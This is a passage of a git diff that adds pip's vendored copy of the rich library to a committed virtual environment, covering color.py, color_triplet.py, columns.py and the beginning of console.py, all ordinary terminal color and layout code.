chop_cells("""这是对亚洲语言支持的测试。面对模棱两可的想法,拒绝猜测的诱惑。""", 8): + print(line) + for n in range(80, 1, -1): + print(set_cell_size("""这是对亚洲语言支持的测试。面对模棱两可的想法,拒绝猜测的诱惑。""", n) + "|") + print("x" * n) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/color.py b/venv/Lib/site-packages/pip/_vendor/rich/color.py new file mode 100644 index 00000000000..4270a278d59 --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/color.py @@ -0,0 +1,621 @@ +import platform +import re +from colorsys import rgb_to_hls +from enum import IntEnum +from functools import lru_cache +from typing import TYPE_CHECKING, NamedTuple, Optional, Tuple + +from ._palettes import EIGHT_BIT_PALETTE, STANDARD_PALETTE, WINDOWS_PALETTE +from .color_triplet import ColorTriplet +from .repr import Result, rich_repr +from .terminal_theme import DEFAULT_TERMINAL_THEME + +if TYPE_CHECKING: # pragma: no cover + from .terminal_theme import TerminalTheme + from .text import Text + + +WINDOWS = platform.system() == "Windows" + + +class ColorSystem(IntEnum): + """One of the 3 color system supported by terminals.""" + + STANDARD = 1 + EIGHT_BIT = 2 + TRUECOLOR = 3 + WINDOWS = 4 + + def __repr__(self) -> str: + return f"ColorSystem.{self.name}" + + def __str__(self) -> str: + return repr(self) + + +class ColorType(IntEnum): + """Type of color stored in Color class.""" + + DEFAULT = 0 + STANDARD = 1 + EIGHT_BIT = 2 + TRUECOLOR = 3 + WINDOWS = 4 + + def __repr__(self) -> str: + return f"ColorType.{self.name}" + + +ANSI_COLOR_NAMES = { + "black": 0, + "red": 1, + "green": 2, + "yellow": 3, + "blue": 4, + "magenta": 5, + "cyan": 6, + "white": 7, + "bright_black": 8, + "bright_red": 9, + "bright_green": 10, + "bright_yellow": 11, + "bright_blue": 12, + "bright_magenta": 13, + "bright_cyan": 14, + "bright_white": 15, + "grey0": 16, + "gray0": 16, + "navy_blue": 17, + "dark_blue": 18, + "blue3": 20, + "blue1": 21, + "dark_green": 22, + "deep_sky_blue4": 25, + "dodger_blue3": 26, + "dodger_blue2": 27, + "green4": 28, + "spring_green4": 29, + "turquoise4": 30, + "deep_sky_blue3": 32, + "dodger_blue1": 33, + "green3": 40, + "spring_green3": 41, + "dark_cyan": 36, + "light_sea_green": 37, + "deep_sky_blue2": 38, + "deep_sky_blue1": 39, + "spring_green2": 47, + "cyan3": 43, + "dark_turquoise": 44, + "turquoise2": 45, + "green1": 46, + "spring_green1": 48, + "medium_spring_green": 49, + "cyan2": 50, + "cyan1": 51, + "dark_red": 88, + "deep_pink4": 125, + "purple4": 55, + "purple3": 56, + "blue_violet": 57, + "orange4": 94, + "grey37": 59, + "gray37": 59, + "medium_purple4": 60, + "slate_blue3": 62, + "royal_blue1": 63, + "chartreuse4": 64, + "dark_sea_green4": 71, + "pale_turquoise4": 66, + "steel_blue": 67, + "steel_blue3": 68, + "cornflower_blue": 69, + "chartreuse3": 76, + "cadet_blue": 73, + "sky_blue3": 74, + "steel_blue1": 81, + "pale_green3": 114, + "sea_green3": 78, + "aquamarine3": 79, + "medium_turquoise": 80, + "chartreuse2": 112, + "sea_green2": 83, + "sea_green1": 85, + "aquamarine1": 122, + "dark_slate_gray2": 87, + "dark_magenta": 91, + "dark_violet": 128, + "purple": 129, + "light_pink4": 95, + "plum4": 96, + "medium_purple3": 98, + "slate_blue1": 99, + "yellow4": 106, + "wheat4": 101, + "grey53": 102, + "gray53": 102, + "light_slate_grey": 103, + "light_slate_gray": 103, + "medium_purple": 104, + "light_slate_blue": 105, + "dark_olive_green3": 149, + "dark_sea_green": 108, + "light_sky_blue3": 110, + "sky_blue2": 111, + "dark_sea_green3": 150, + "dark_slate_gray3": 116, + "sky_blue1": 117, + "chartreuse1": 118, + "light_green": 120, + "pale_green1": 156, + "dark_slate_gray1": 123, + "red3": 160, + "medium_violet_red": 126, + "magenta3": 164, + "dark_orange3": 166, + "indian_red": 167, + "hot_pink3": 168, + "medium_orchid3": 133, + "medium_orchid": 134, + "medium_purple2": 140, + "dark_goldenrod": 136, + "light_salmon3": 173, + "rosy_brown": 138, + "grey63": 139, + "gray63": 139, + "medium_purple1": 141, + "gold3": 178, + "dark_khaki": 143, + "navajo_white3": 144, + "grey69": 145, + "gray69": 145, + "light_steel_blue3": 146, + "light_steel_blue": 147, + "yellow3": 184, + "dark_sea_green2": 157, + "light_cyan3": 152, + "light_sky_blue1": 153, + "green_yellow": 154, + "dark_olive_green2": 155, + "dark_sea_green1": 193, + "pale_turquoise1": 159, + "deep_pink3": 162, + "magenta2": 200, + "hot_pink2": 169, + "orchid": 170, + "medium_orchid1": 207, + "orange3": 172, + "light_pink3": 174, + "pink3": 175, + "plum3": 176, + "violet": 177, + "light_goldenrod3": 179, + "tan": 180, + "misty_rose3": 181, + "thistle3": 182, + "plum2": 183, + "khaki3": 185, + "light_goldenrod2": 222, + "light_yellow3": 187, + "grey84": 188, + "gray84": 188, + "light_steel_blue1": 189, + "yellow2": 190, + "dark_olive_green1": 192, + "honeydew2": 194, + "light_cyan1": 195, + "red1": 196, + "deep_pink2": 197, + "deep_pink1": 199, + "magenta1": 201, + "orange_red1": 202, + "indian_red1": 204, + "hot_pink": 206, + "dark_orange": 208, + "salmon1": 209, + "light_coral": 210, + "pale_violet_red1": 211, + "orchid2": 212, + "orchid1": 213, + "orange1": 214, + "sandy_brown": 215, + "light_salmon1": 216, + "light_pink1": 217, + "pink1": 218, + "plum1": 219, + "gold1": 220, + "navajo_white1": 223, + "misty_rose1": 224, + "thistle1": 225, + "yellow1": 226, + "light_goldenrod1": 227, + "khaki1": 228, + "wheat1": 229, + "cornsilk1": 230, + "grey100": 231, + "gray100": 231, + "grey3": 232, + "gray3": 232, + "grey7": 233, + "gray7": 233, + "grey11": 234, + "gray11": 234, + "grey15": 235, + "gray15": 235, + "grey19": 236, + "gray19": 236, + "grey23": 237, + "gray23": 237, + "grey27": 238, + "gray27": 238, + "grey30": 239, + "gray30": 239, + "grey35": 240, + "gray35": 240, + "grey39": 241, + "gray39": 241, + "grey42": 242, + "gray42": 242, + "grey46": 243, + "gray46": 243, + "grey50": 244, + "gray50": 244, + "grey54": 245, + "gray54": 245, + "grey58": 246, + "gray58": 246, + "grey62": 247, + "gray62": 247, + "grey66": 248, + "gray66": 248, + "grey70": 249, + "gray70": 249, + "grey74": 250, + "gray74": 250, + "grey78": 251, + "gray78": 251, + "grey82": 252, + "gray82": 252, + "grey85": 253, + "gray85": 253, + "grey89": 254, + "gray89": 254, + "grey93": 255, + "gray93": 255, +} + + +class ColorParseError(Exception): + """The color could not be parsed.""" + + +RE_COLOR = re.compile( + r"""^ +\#([0-9a-f]{6})$| +color\(([0-9]{1,3})\)$| +rgb\(([\d\s,]+)\)$ +""", + re.VERBOSE, +) + + +@rich_repr +class Color(NamedTuple): + """Terminal color definition.""" + + name: str + """The name of the color (typically the input to Color.parse).""" + type: ColorType + """The type of the color.""" + number: Optional[int] = None + """The color number, if a standard color, or None.""" + triplet: Optional[ColorTriplet] = None + """A triplet of color components, if an RGB color.""" + + def __rich__(self) -> "Text": + """Displays the actual color if Rich printed.""" + from .style import Style + from .text import Text + + return Text.assemble( + f"", + ) + + def __rich_repr__(self) -> Result: + yield self.name + yield self.type + yield "number", self.number, None + yield "triplet", self.triplet, None + + @property + def system(self) -> ColorSystem: + """Get the native color system for this color.""" + if self.type == ColorType.DEFAULT: + return ColorSystem.STANDARD + return ColorSystem(int(self.type)) + + @property + def is_system_defined(self) -> bool: + """Check if the color is ultimately defined by the system.""" + return self.system not in (ColorSystem.EIGHT_BIT, ColorSystem.TRUECOLOR) + + @property + def is_default(self) -> bool: + """Check if the color is a default color.""" + return self.type == ColorType.DEFAULT + + def get_truecolor( + self, theme: Optional["TerminalTheme"] = None, foreground: bool = True + ) -> ColorTriplet: + """Get an equivalent color triplet for this color. + + Args: + theme (TerminalTheme, optional): Optional terminal theme, or None to use default. Defaults to None. + foreground (bool, optional): True for a foreground color, or False for background. Defaults to True. + + Returns: + ColorTriplet: A color triplet containing RGB components. + """ + + if theme is None: + theme = DEFAULT_TERMINAL_THEME + if self.type == ColorType.TRUECOLOR: + assert self.triplet is not None + return self.triplet + elif self.type == ColorType.EIGHT_BIT: + assert self.number is not None + return EIGHT_BIT_PALETTE[self.number] + elif self.type == ColorType.STANDARD: + assert self.number is not None + return theme.ansi_colors[self.number] + elif self.type == ColorType.WINDOWS: + assert self.number is not None + return WINDOWS_PALETTE[self.number] + else: # self.type == ColorType.DEFAULT: + assert self.number is None + return theme.foreground_color if foreground else theme.background_color + + @classmethod + def from_ansi(cls, number: int) -> "Color": + """Create a Color number from it's 8-bit ansi number. + + Args: + number (int): A number between 0-255 inclusive. + + Returns: + Color: A new Color instance. + """ + return cls( + name=f"color({number})", + type=(ColorType.STANDARD if number < 16 else ColorType.EIGHT_BIT), + number=number, + ) + + @classmethod + def from_triplet(cls, triplet: "ColorTriplet") -> "Color": + """Create a truecolor RGB color from a triplet of values. + + Args: + triplet (ColorTriplet): A color triplet containing red, green and blue components. + + Returns: + Color: A new color object. + """ + return cls(name=triplet.hex, type=ColorType.TRUECOLOR, triplet=triplet) + + @classmethod + def from_rgb(cls, red: float, green: float, blue: float) -> "Color": + """Create a truecolor from three color components in the range(0->255). + + Args: + red (float): Red component in range 0-255. + green (float): Green component in range 0-255. + blue (float): Blue component in range 0-255. + + Returns: + Color: A new color object. + """ + return cls.from_triplet(ColorTriplet(int(red), int(green), int(blue))) + + @classmethod + def default(cls) -> "Color": + """Get a Color instance representing the default color. + + Returns: + Color: Default color. + """ + return cls(name="default", type=ColorType.DEFAULT) + + @classmethod + @lru_cache(maxsize=1024) + def parse(cls, color: str) -> "Color": + """Parse a color definition.""" + original_color = color + color = color.lower().strip() + + if color == "default": + return cls(color, type=ColorType.DEFAULT) + + color_number = ANSI_COLOR_NAMES.get(color) + if color_number is not None: + return cls( + color, + type=(ColorType.STANDARD if color_number < 16 else ColorType.EIGHT_BIT), + number=color_number, + ) + + color_match = RE_COLOR.match(color) + if color_match is None: + raise ColorParseError(f"{original_color!r} is not a valid color") + + color_24, color_8, color_rgb = color_match.groups() + if color_24: + triplet = ColorTriplet( + int(color_24[0:2], 16), int(color_24[2:4], 16), int(color_24[4:6], 16) + ) + return cls(color, ColorType.TRUECOLOR, triplet=triplet) + + elif color_8: + number = int(color_8) + if number > 255: + raise ColorParseError(f"color number must be <= 255 in {color!r}") + return cls( + color, + type=(ColorType.STANDARD if number < 16 else ColorType.EIGHT_BIT), + number=number, + ) + + else: # color_rgb: + components = color_rgb.split(",") + if len(components) != 3: + raise ColorParseError( + f"expected three components in {original_color!r}" + ) + red, green, blue = components + triplet = ColorTriplet(int(red), int(green), int(blue)) + if not all(component <= 255 for component in triplet): + raise ColorParseError( + f"color components must be <= 255 in {original_color!r}" + ) + return cls(color, ColorType.TRUECOLOR, triplet=triplet) + + @lru_cache(maxsize=1024) + def get_ansi_codes(self, foreground: bool = True) -> Tuple[str, ...]: + """Get the ANSI escape codes for this color.""" + _type = self.type + if _type == ColorType.DEFAULT: + return ("39" if foreground else "49",) + + elif _type == ColorType.WINDOWS: + number = self.number + assert number is not None + fore, back = (30, 40) if number < 8 else (82, 92) + return (str(fore + number if foreground else back + number),) + + elif _type == ColorType.STANDARD: + number = self.number + assert number is not None + fore, back = (30, 40) if number < 8 else (82, 92) + return (str(fore + number if foreground else back + number),) + + elif _type == ColorType.EIGHT_BIT: + assert self.number is not None + return ("38" if foreground else "48", "5", str(self.number)) + + else: # self.standard == ColorStandard.TRUECOLOR: + assert self.triplet is not None + red, green, blue = self.triplet + return ("38" if foreground else "48", "2", str(red), str(green), str(blue)) + + @lru_cache(maxsize=1024) + def downgrade(self, system: ColorSystem) -> "Color": + """Downgrade a color system to a system with fewer colors.""" + + if self.type in (ColorType.DEFAULT, system): + return self + # Convert to 8-bit color from truecolor color + if system == ColorSystem.EIGHT_BIT and self.system == ColorSystem.TRUECOLOR: + assert self.triplet is not None + _h, l, s = rgb_to_hls(*self.triplet.normalized) + # If saturation is under 15% assume it is grayscale + if s < 0.15: + gray = round(l * 25.0) + if gray == 0: + color_number = 16 + elif gray == 25: + color_number = 231 + else: + color_number = 231 + gray + return Color(self.name, ColorType.EIGHT_BIT, number=color_number) + + red, green, blue = self.triplet + six_red = red / 95 if red < 95 else 1 + (red - 95) / 40 + six_green = green / 95 if green < 95 else 1 + (green - 95) / 40 + six_blue = blue / 95 if blue < 95 else 1 + (blue - 95) / 40 + + color_number = ( + 16 + 36 * round(six_red) + 6 * round(six_green) + round(six_blue) + ) + return Color(self.name, ColorType.EIGHT_BIT, number=color_number) + + # Convert to standard from truecolor or 8-bit + elif system == ColorSystem.STANDARD: + if self.system == ColorSystem.TRUECOLOR: + assert self.triplet is not None + triplet = self.triplet + else: # self.system == ColorSystem.EIGHT_BIT + assert self.number is not None + triplet = ColorTriplet(*EIGHT_BIT_PALETTE[self.number]) + + color_number = STANDARD_PALETTE.match(triplet) + return Color(self.name, ColorType.STANDARD, number=color_number) + + elif system == ColorSystem.WINDOWS: + if self.system == ColorSystem.TRUECOLOR: + assert self.triplet is not None + triplet = self.triplet + else: # self.system == ColorSystem.EIGHT_BIT + assert self.number is not None + if self.number < 16: + return Color(self.name, ColorType.WINDOWS, number=self.number) + triplet = ColorTriplet(*EIGHT_BIT_PALETTE[self.number]) + + color_number = WINDOWS_PALETTE.match(triplet) + return Color(self.name, ColorType.WINDOWS, number=color_number) + + return self + + +def parse_rgb_hex(hex_color: str) -> ColorTriplet: + """Parse six hex characters in to RGB triplet.""" + assert len(hex_color) == 6, "must be 6 characters" + color = ColorTriplet( + int(hex_color[0:2], 16), int(hex_color[2:4], 16), int(hex_color[4:6], 16) + ) + return color + + +def blend_rgb( + color1: ColorTriplet, color2: ColorTriplet, cross_fade: float = 0.5 +) -> ColorTriplet: + """Blend one RGB color in to another.""" + r1, g1, b1 = color1 + r2, g2, b2 = color2 + new_color = ColorTriplet( + int(r1 + (r2 - r1) * cross_fade), + int(g1 + (g2 - g1) * cross_fade), + int(b1 + (b2 - b1) * cross_fade), + ) + return new_color + + +if __name__ == "__main__": # pragma: no cover + from .console import Console + from .table import Table + from .text import Text + + console = Console() + + table = Table(show_footer=False, show_edge=True) + table.add_column("Color", width=10, overflow="ellipsis") + table.add_column("Number", justify="right", style="yellow") + table.add_column("Name", style="green") + table.add_column("Hex", style="blue") + table.add_column("RGB", style="magenta") + + colors = sorted((v, k) for k, v in ANSI_COLOR_NAMES.items()) + for color_number, name in colors: + if "grey" in name: + continue + color_cell = Text(" " * 10, style=f"on {name}") + if color_number < 16: + table.add_row(color_cell, f"{color_number}", Text(f'"{name}"')) + else: + color = EIGHT_BIT_PALETTE[color_number] # type: ignore[has-type] + table.add_row( + color_cell, str(color_number), Text(f'"{name}"'), color.hex, color.rgb + ) + + console.print(table) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/color_triplet.py b/venv/Lib/site-packages/pip/_vendor/rich/color_triplet.py new file mode 100644 index 00000000000..02cab328251 --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/color_triplet.py @@ -0,0 +1,38 @@ +from typing import NamedTuple, Tuple + + +class ColorTriplet(NamedTuple): + """The red, green, and blue components of a color.""" + + red: int + """Red component in 0 to 255 range.""" + green: int + """Green component in 0 to 255 range.""" + blue: int + """Blue component in 0 to 255 range.""" + + @property + def hex(self) -> str: + """get the color triplet in CSS style.""" + red, green, blue = self + return f"#{red:02x}{green:02x}{blue:02x}" + + @property + def rgb(self) -> str: + """The color in RGB format. + + Returns: + str: An rgb color, e.g. ``"rgb(100,23,255)"``. + """ + red, green, blue = self + return f"rgb({red},{green},{blue})" + + @property + def normalized(self) -> Tuple[float, float, float]: + """Convert components into floats between 0 and 1. + + Returns: + Tuple[float, float, float]: A tuple of three normalized colour components. + """ + red, green, blue = self + return red / 255.0, green / 255.0, blue / 255.0 diff --git a/venv/Lib/site-packages/pip/_vendor/rich/columns.py b/venv/Lib/site-packages/pip/_vendor/rich/columns.py new file mode 100644 index 00000000000..669a3a7074f --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/columns.py @@ -0,0 +1,187 @@ +from collections import defaultdict +from itertools import chain +from operator import itemgetter +from typing import Dict, Iterable, List, Optional, Tuple + +from .align import Align, AlignMethod +from .console import Console, ConsoleOptions, RenderableType, RenderResult +from .constrain import Constrain +from .measure import Measurement +from .padding import Padding, PaddingDimensions +from .table import Table +from .text import TextType +from .jupyter import JupyterMixin + + +class Columns(JupyterMixin): + """Display renderables in neat columns. + + Args: + renderables (Iterable[RenderableType]): Any number of Rich renderables (including str). + width (int, optional): The desired width of the columns, or None to auto detect. Defaults to None. + padding (PaddingDimensions, optional): Optional padding around cells. Defaults to (0, 1). + expand (bool, optional): Expand columns to full width. Defaults to False. + equal (bool, optional): Arrange in to equal sized columns. Defaults to False. + column_first (bool, optional): Align items from top to bottom (rather than left to right). Defaults to False. + right_to_left (bool, optional): Start column from right hand side. Defaults to False. + align (str, optional): Align value ("left", "right", or "center") or None for default. Defaults to None. + title (TextType, optional): Optional title for Columns. + """ + + def __init__( + self, + renderables: Optional[Iterable[RenderableType]] = None, + padding: PaddingDimensions = (0, 1), + *, + width: Optional[int] = None, + expand: bool = False, + equal: bool = False, + column_first: bool = False, + right_to_left: bool = False, + align: Optional[AlignMethod] = None, + title: Optional[TextType] = None, + ) -> None: + self.renderables = list(renderables or []) + self.width = width + self.padding = padding + self.expand = expand + self.equal = equal + self.column_first = column_first + self.right_to_left = right_to_left + self.align: Optional[AlignMethod] = align + self.title = title + + def add_renderable(self, renderable: RenderableType) -> None: + """Add a renderable to the columns. + + Args: + renderable (RenderableType): Any renderable object. + """ + self.renderables.append(renderable) + + def __rich_console__( + self, console: Console, options: ConsoleOptions + ) -> RenderResult: + render_str = console.render_str + renderables = [ + render_str(renderable) if isinstance(renderable, str) else renderable + for renderable in self.renderables + ] + if not renderables: + return + _top, right, _bottom, left = Padding.unpack(self.padding) + width_padding = max(left, right) + max_width = options.max_width + widths: Dict[int, int] = defaultdict(int) + column_count = len(renderables) + + get_measurement = Measurement.get + renderable_widths = [ + get_measurement(console, options, renderable).maximum + for renderable in renderables + ] + if self.equal: + renderable_widths = [max(renderable_widths)] * len(renderable_widths) + + def iter_renderables( + column_count: int, + ) -> Iterable[Tuple[int, Optional[RenderableType]]]: + item_count = len(renderables) + if self.column_first: + width_renderables = list(zip(renderable_widths, renderables)) + + column_lengths: List[int] = [item_count // column_count] * column_count + for col_no in range(item_count % column_count): + column_lengths[col_no] += 1 + + row_count = (item_count + column_count - 1) // column_count + cells = [[-1] * column_count for _ in range(row_count)] + row = col = 0 + for index in range(item_count): + cells[row][col] = index + column_lengths[col] -= 1 + if column_lengths[col]: + row += 1 + else: + col += 1 + row = 0 + for index in chain.from_iterable(cells): + if index == -1: + break + yield width_renderables[index] + else: + yield from zip(renderable_widths, renderables) + # Pad odd elements with spaces + if item_count % column_count: + for _ in range(column_count - (item_count % column_count)): + yield 0, None + + table = Table.grid(padding=self.padding, collapse_padding=True, pad_edge=False) + table.expand = self.expand + table.title = self.title + + if self.width is not None: + column_count = (max_width) // (self.width + width_padding) + for _ in range(column_count): + table.add_column(width=self.width) + else: + while column_count > 1: + widths.clear() + column_no = 0 + for renderable_width, _ in iter_renderables(column_count): + widths[column_no] = max(widths[column_no], renderable_width) + total_width = sum(widths.values()) + width_padding * ( + len(widths) - 1 + ) + if total_width > max_width: + column_count = len(widths) - 1 + break + else: + column_no = (column_no + 1) % column_count + else: + break + + get_renderable = itemgetter(1) + _renderables = [ + get_renderable(_renderable) + for _renderable in iter_renderables(column_count) + ] + if self.equal: + _renderables = [ + None + if renderable is None + else Constrain(renderable, renderable_widths[0]) + for renderable in _renderables + ] + if self.align: + align = self.align + _Align = Align + _renderables = [ + None if renderable is None else _Align(renderable, align) + for renderable in _renderables + ] + + right_to_left = self.right_to_left + add_row = table.add_row + for start in range(0, len(_renderables), column_count): + row = _renderables[start : start + column_count] + if right_to_left: + row = row[::-1] + add_row(*row) + yield table + + +if __name__ == "__main__": # pragma: no cover + import os + + console = Console() + + files = [f"{i} {s}" for i, s in enumerate(sorted(os.listdir()))] + columns = Columns(files, padding=(0, 1), expand=False, equal=False) + console.print(columns) + console.rule() + columns.column_first = True + console.print(columns) + columns.right_to_left = True + console.rule() + console.print(columns) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/console.py b/venv/Lib/site-packages/pip/_vendor/rich/console.py new file mode 100644 index 00000000000..a11c7c137f0 --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/console.py @@ -0,0 +1,2633 @@ +import inspect +import os +import platform +import sys +import threading +import zlib +from abc import ABC, abstractmethod +from dataclasses import dataclass, field +from datetime import datetime +from functools import wraps +from getpass import getpass +from html import escape +from inspect import isclass +from itertools import islice +from math import ceil +from time import monotonic +from types import FrameType, ModuleType, TracebackType +from typing import ( + IO, + TYPE_CHECKING, + Any, + Callable, + Dict, + Iterable, + List, + Mapping, + NamedTuple, + Optional, + TextIO, + Tuple, + Type, + Union, + cast, +) + +from pip._vendor.rich._null_file import NULL_FILE + +if sys.version_info >= (3, 8): + from typing import Literal, Protocol, runtime_checkable +else: + from pip._vendor.typing_extensions import ( + Literal, + Protocol, + runtime_checkable, + ) # pragma: no cover + +from . import errors, themes +from ._emoji_replace import _emoji_replace +from ._export_format import CONSOLE_HTML_FORMAT, CONSOLE_SVG_FORMAT +from ._fileno import get_fileno +from ._log_render import FormatTimeCallable, LogRender +from .align import Align, AlignMethod +from .color import ColorSystem, blend_rgb +from .control import Control +from .emoji import EmojiVariant +from .highlighter import NullHighlighter, ReprHighlighter +from .markup import render as render_markup +from .measure import Measurement, measure_renderables +from .pager import Pager, SystemPager +from .pretty import Pretty, is_expandable +from .protocol import rich_cast +from .region import Region +from .scope import render_scope +from .screen import Screen +from .segment import Segment +from .style import Style, StyleType +from .styled import Styled +from .terminal_theme import DEFAULT_TERMINAL_THEME, SVG_EXPORT_THEME, TerminalTheme +from .text import Text, TextType +from .theme import Theme, ThemeStack + +if TYPE_CHECKING: + from ._windows import WindowsConsoleFeatures + from .live import Live + from .status import Status + +JUPYTER_DEFAULT_COLUMNS = 115 +JUPYTER_DEFAULT_LINES = 100 +WINDOWS = platform.system() == "Windows" + +HighlighterType = Callable[[Union[str, "Text"]], "Text"] +JustifyMethod = Literal["default", "left", "center", "right", "full"] +OverflowMethod = Literal["fold", "crop", "ellipsis", "ignore"] + + +class NoChange: + pass + + +NO_CHANGE = NoChange() + +try: + _STDIN_FILENO = sys.__stdin__.fileno() +except Exception: + _STDIN_FILENO = 0 +try: + _STDOUT_FILENO = sys.__stdout__.fileno() +except Exception: + _STDOUT_FILENO = 1 +try: + _STDERR_FILENO = sys.__stderr__.fileno() +except Exception: + _STDERR_FILENO = 2 + +_STD_STREAMS = (_STDIN_FILENO, _STDOUT_FILENO, _STDERR_FILENO) +_STD_STREAMS_OUTPUT = (_STDOUT_FILENO, _STDERR_FILENO) + + +_TERM_COLORS = { + "kitty": ColorSystem.EIGHT_BIT, + "256color": ColorSystem.EIGHT_BIT, + "16color": ColorSystem.STANDARD, +} + + +class ConsoleDimensions(NamedTuple): + """Size of the terminal.""" + + width: int + """The width of the console in 'cells'.""" + height: int + """The height of the console in lines.""" + + +@dataclass +class ConsoleOptions: + """Options for __rich_console__ method.""" + + size: ConsoleDimensions + """Size of console.""" + legacy_windows: bool + """legacy_windows: flag for legacy windows.""" + min_width: int + """Minimum width of renderable.""" + max_width: int + """Maximum width of renderable.""" + is_terminal: bool + """True if the target is a terminal, otherwise False.""" + encoding: str + """Encoding of terminal.""" + max_height: int + """Height of container (starts as terminal)""" + justify: Optional[JustifyMethod] = None + """Justify value override for renderable.""" + overflow: Optional[OverflowMethod] = None + """Overflow value override for renderable.""" + no_wrap: Optional[bool] = False + """Disable wrapping for text.""" + highlight: Optional[bool] = None + """Highlight override for render_str.""" + markup: Optional[bool] = None + """Enable markup when rendering strings.""" + height: Optional[int] = None + + @property + def ascii_only(self) -> bool: + """Check if renderables should use ascii only.""" + return not self.encoding.startswith("utf") + + def copy(self) -> "ConsoleOptions": + """Return a copy of the options. + + Returns: + ConsoleOptions: a copy of self. + """ + options: ConsoleOptions = ConsoleOptions.__new__(ConsoleOptions) + options.__dict__ = self.__dict__.copy() + return options + + def update( + self, + *, + width: Union[int, NoChange] = NO_CHANGE, + min_width: Union[int, NoChange] = NO_CHANGE, + max_width: Union[int, NoChange] = NO_CHANGE, + justify: Union[Optional[JustifyMethod], NoChange] = NO_CHANGE, + overflow: Union[Optional[OverflowMethod], NoChange] = NO_CHANGE, + no_wrap: Union[Optional[bool], NoChange] = NO_CHANGE, + highlight: Union[Optional[bool], NoChange] = NO_CHANGE, + markup: Union[Optional[bool], NoChange] = NO_CHANGE, + height: Union[Optional[int], NoChange] = NO_CHANGE, + ) -> "ConsoleOptions": + """Update values, return a copy.""" + options = self.copy() + if not isinstance(width, NoChange): + options.min_width = options.max_width = max(0, width) + if not isinstance(min_width, NoChange): + options.min_width = min_width + if not isinstance(max_width, NoChange): + options.max_width = max_width + if not isinstance(justify, NoChange): + options.justify = justify + if not isinstance(overflow, NoChange): + options.overflow = overflow + if not isinstance(no_wrap, NoChange): + options.no_wrap = no_wrap + if not isinstance(highlight, NoChange): + options.highlight = highlight + if not isinstance(markup, NoChange): + options.markup = markup + if not isinstance(height, NoChange): + if height is not None: + options.max_height = height + options.height = None if height is None else max(0, height) + return options + + def update_width(self, width: int) -> "ConsoleOptions": + """Update just the width, return a copy. + + Args: + width (int): New width (sets both min_width and max_width) + + Returns: + ~ConsoleOptions: New console options instance. + """ + options = self.copy() + options.min_width = options.max_width = max(0, width) + return options + + def update_height(self, height: int) -> "ConsoleOptions": + """Update the height, and return a copy. + + Args: + height (int): New height + + Returns: + ~ConsoleOptions: New Console options instance. + """ + options = self.copy() + options.max_height = options.height = height + return options + + def reset_height(self) -> "ConsoleOptions": + """Return a copy of the options with height set to ``None``. + + Returns: + ~ConsoleOptions: New console options instance. + """ + options = self.copy() + options.height = None + return options + + def update_dimensions(self, width: int, height: int) -> "ConsoleOptions": + """Update the width and height, and return a copy. + + Args: + width (int): New width (sets both min_width and max_width). + height (int): New height. + + Returns: + ~ConsoleOptions: New console options instance. + """ + options = self.copy() + options.min_width = options.max_width = max(0, width) + options.height = options.max_height = height + return options + + +@runtime_checkable +class RichCast(Protocol): + """An object that may be 'cast' to a console renderable.""" + + def __rich__( + self, + ) -> Union["ConsoleRenderable", "RichCast", str]: # pragma: no cover + ... + + +@runtime_checkable +class ConsoleRenderable(Protocol): + """An object that supports the console protocol.""" + + def __rich_console__( + self, console: "Console", options: "ConsoleOptions" + ) -> "RenderResult": # pragma: no cover + ... + + +# A type that may be rendered by Console. +RenderableType = Union[ConsoleRenderable, RichCast, str] +"""A string or any object that may be rendered by Rich.""" + +# The result of calling a __rich_console__ method. +RenderResult = Iterable[Union[RenderableType, Segment]] + +_null_highlighter = NullHighlighter() + + +class CaptureError(Exception): + """An error in the Capture context manager.""" + + +class NewLine: + """A renderable to generate new line(s)""" + + def __init__(self, count: int = 1) -> None: + self.count = count + + def __rich_console__( + self, console: "Console", options: "ConsoleOptions" + ) -> Iterable[Segment]: + yield Segment("\n" * self.count) + + +class ScreenUpdate: + """Render a list of lines at a given offset.""" + + def __init__(self, lines: List[List[Segment]], x: int, y: int) -> None: + self._lines = lines + self.x = x + self.y = y + + def __rich_console__( + self, console: "Console", options: ConsoleOptions + ) -> RenderResult: + x = self.x + move_to = Control.move_to + for offset, line in enumerate(self._lines, self.y): + yield move_to(x, offset) + yield from line + + +class Capture: + """Context manager to capture the result of printing to the console. + See :meth:`~rich.console.Console.capture` for how to use. + + Args: + console (Console): A console instance to capture output. + """ + + def __init__(self, console: "Console") -> None: + self._console = console + self._result: Optional[str] = None + + def __enter__(self) -> "Capture": + self._console.begin_capture() + return self + + def __exit__( + self, + exc_type: Optional[Type[BaseException]], + exc_val: Optional[BaseException], + exc_tb: Optional[TracebackType], + ) -> None: + self._result = self._console.end_capture() + + def get(self) -> str: + """Get the result of the capture.""" + if self._result is None: + raise CaptureError( + "Capture result is not available until context manager exits." + ) + return self._result + + +class ThemeContext: + """A context manager to use a temporary theme. See :meth:`~rich.console.Console.use_theme` for usage.""" + + def __init__(self, console: "Console", theme: Theme, inherit: bool = True) -> None: + self.console = console + self.theme = theme + self.inherit = inherit + + def __enter__(self) -> "ThemeContext": + self.console.push_theme(self.theme) + return self + + def __exit__( + self, + exc_type: Optional[Type[BaseException]], + exc_val: Optional[BaseException], + exc_tb: Optional[TracebackType], + ) -> None: + self.console.pop_theme() + + +class PagerContext: + """A context manager that 'pages' content. See :meth:`~rich.console.Console.pager` for usage.""" + + def __init__( + self, + console: "Console", + pager: Optional[Pager] = None, + styles: bool = False, + links: bool = False, + ) -> None: + self._console = console + self.pager = SystemPager() if pager is None else pager + self.styles = styles + self.links = links + + def __enter__(self) -> "PagerContext": + self._console._enter_buffer() + return self + + def __exit__( + self, + exc_type: Optional[Type[BaseException]], + exc_val: Optional[BaseException], + exc_tb: Optional[TracebackType], + ) -> None: + if exc_type is None: + with self._console._lock: + buffer: List[Segment] = self._console._buffer[:] + del self._console._buffer[:] + segments: Iterable[Segment] = buffer + if not self.styles: + segments = Segment.strip_styles(segments) + elif not self.links: + segments = Segment.strip_links(segments) + content = self._console._render_buffer(segments) + self.pager.show(content) + self._console._exit_buffer() + + +class ScreenContext: + """A context manager that enables an alternative screen. See :meth:`~rich.console.Console.screen` for usage.""" + + def __init__( + self, console: "Console", hide_cursor: bool, style: StyleType = "" + ) -> 